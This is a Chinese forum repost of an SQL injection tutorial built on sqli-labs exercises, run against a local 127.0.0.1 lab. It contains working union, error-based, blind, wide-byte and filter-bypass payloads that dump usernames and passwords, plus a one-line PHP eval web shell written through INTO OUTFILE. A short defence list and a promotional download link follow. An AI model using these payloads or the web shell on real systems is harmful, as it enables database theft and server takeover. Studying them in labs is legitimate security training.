干货|SQL注入思路总结(非常详细)零基础入门到醒目,收藏这一篇就够 了 ...

瑞星  金牌会员 | 2024-10-1 15:42:25 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 800|帖子 800|积分 2400

1.SQL注入的业务场景及危害

1.1 什么是SQL注入

SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功实行的行为称为SQL注入。
1.2 为什么会有SQL注入



  • 代码对带入SQL语句的参数过滤不严格
  • 未启用框架的安全配置,例如:PHP的magic_quotes_gpc
  • 未利用框架安全的查询方法
  • 测试借口未删除
  • 未启用防火墙,例如IPTABLES。
  • 未利用其他的安全防护设备,例如:WAF
1.3 SQL注入的业务场景以及危害

包罗登陆功能、搜索功能、详情页、商品购买等
危害包罗数据库泄漏:数据库中存放的用户的隐私信息的泄漏;
网页窜改:通过操作数据库对特定网页举行窜改;
网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,举行挂马攻击。
数据库被恶意操作:数据库服务器被攻击,数据库管理员账户被窜改。
服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
1.4 Mysql内置函数





mysql 运算符(算术运算符、比较运算符、逻辑运算符)



1.5 SQL注入流程





1.6 SQL注入的分类及注入方法

按照请求方法举行分类:


  • GET型注入
Step1: 猜解列数http://127.0.0.1/sqli/Less-2/?id=1%20order%20by%203%20#
Step2: 猜解数据库名http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%23
Step3:猜解表名:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%23
Step4:猜解列名:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273%23
Step5:读数据:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(concat_ws(0x3a,username,password)),3%20from%20users%23


  • POST型注入
按照SQL数据类型分类:


  • 整型注入
  • 字符型注入
其他的数据类型:


  • 报错注入

查询当前版本:’ union select 1,extractvalue(1,concat(0x7e,(select version())))#
利用“extractvalue”函数查询当前表名:’ union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)))#
利用"updatexml"函数查询当前php版本:’ union select updatexml(1,concat(0x7e,(select version())),1)#
利用“updatexml”函数查询当前表名:’ union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1)),1)#


  • 双注入 Lesson11
查询版本:admin’ union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),version())#
查询数据库名:admin’ union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select table_schema from information_schema.schemata limit 0,1))#


  • 时间盲注 Sleep(1)函数
推测表名:?id=1 or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=‘security’ limit 0,1)>0,sleep(2),0)#
也可用ord( )


  • 布尔盲注 Lesson-5

推测版本:id=1’ or (select substr(version(),1,1)=‘5’) #
推测数据库名:id=1’ or (select ascii(substr(table_schema,1,1)) from information_schema.schemata limit 0,1)>1#
推测表名:id=1’ or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=‘security’ limit 0,1)>1# 可以用burp的intruder举行爆破


  • Cookie注入
和POST、GET注入一样,只是在Cookie中产生注入。


  • User-Agent注入
和POST、GET注入一样,只是在UA中产生注入。大概是其他SQL语句 例如insert、update等。需要举行机动判断。


  • 二次编码注入
%2527 编码后酿成%27 再解码酿成’ 就绕过了过滤。


  • 二次注入

在sqilab中第24关可以通过二次注入,重置admin密码。


  • DNSlog注入
1.7 SQL注入读写文件

load_file(file_name):读取文件并返回该文件的内容作为一个字符串,利用条件:
1.必须有权限读取并且文件必须完全可读
2.欲读取文件必须在服务器上
3.必须订定文件完整的路径
4.欲读取文件必须小雨max_allowed_packet
写文件 union select 1,2,“<?php @eval($\_POST\['pass'\]);?>” into outfile “/var/www/1.php”.
2.0注入绕过

2.1绕过解释符注入#

less-23/index.php?id=1’ or (extractvalue(1,concat(0x7e,version()))) or ’
2.2绕过and/or字符过滤

http://127.0.0.1/sqli/Less-25/index.php?id=-1‘ || (extractvalue(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1)))) ||’
2.3绕过空格过滤

%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
/**/ 代替空格
2.4内联解释绕过

此题过滤了空格,select,#。
内联解释: /*!select*/
http://127.0.0.1/sqli/Less-27/?id=1%27%0aor%0a(extractvalue(1,concat(0x7e,(sElect%0aschema_name%0afrom%0ainformation_schema.schemata%0alimit%0a0,1))))%0aor%0a%27
2.5宽字节注入

重要原因是经常会出现这个过滤“\”,因此可以利用宽字节注入吃掉这个“\”。由于这个字符的hex是5c 所以可以用%865c举行绕过。
http://127.0.0.1/sqli/Less-32/?id=-1%86‘%20union%20select%201,version(),3%23
2.6 其他类型绕过


SQL注入防御手段

代码层

黑名单
白名单
敏感字符过滤
利用框架安全查询
配置层

开启GPC
利用UTF-8
物理层

WAF
数据库审计
云防护
IPS(入侵检测系统)
为了帮助大家更好的学习网络安全,我给大家预备了一份网络安全入门/进阶学习资料,内里的内容都是适合零基础小白的条记和资料,不懂编程也能听懂、看懂这些资料!
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享



因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

瑞星

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表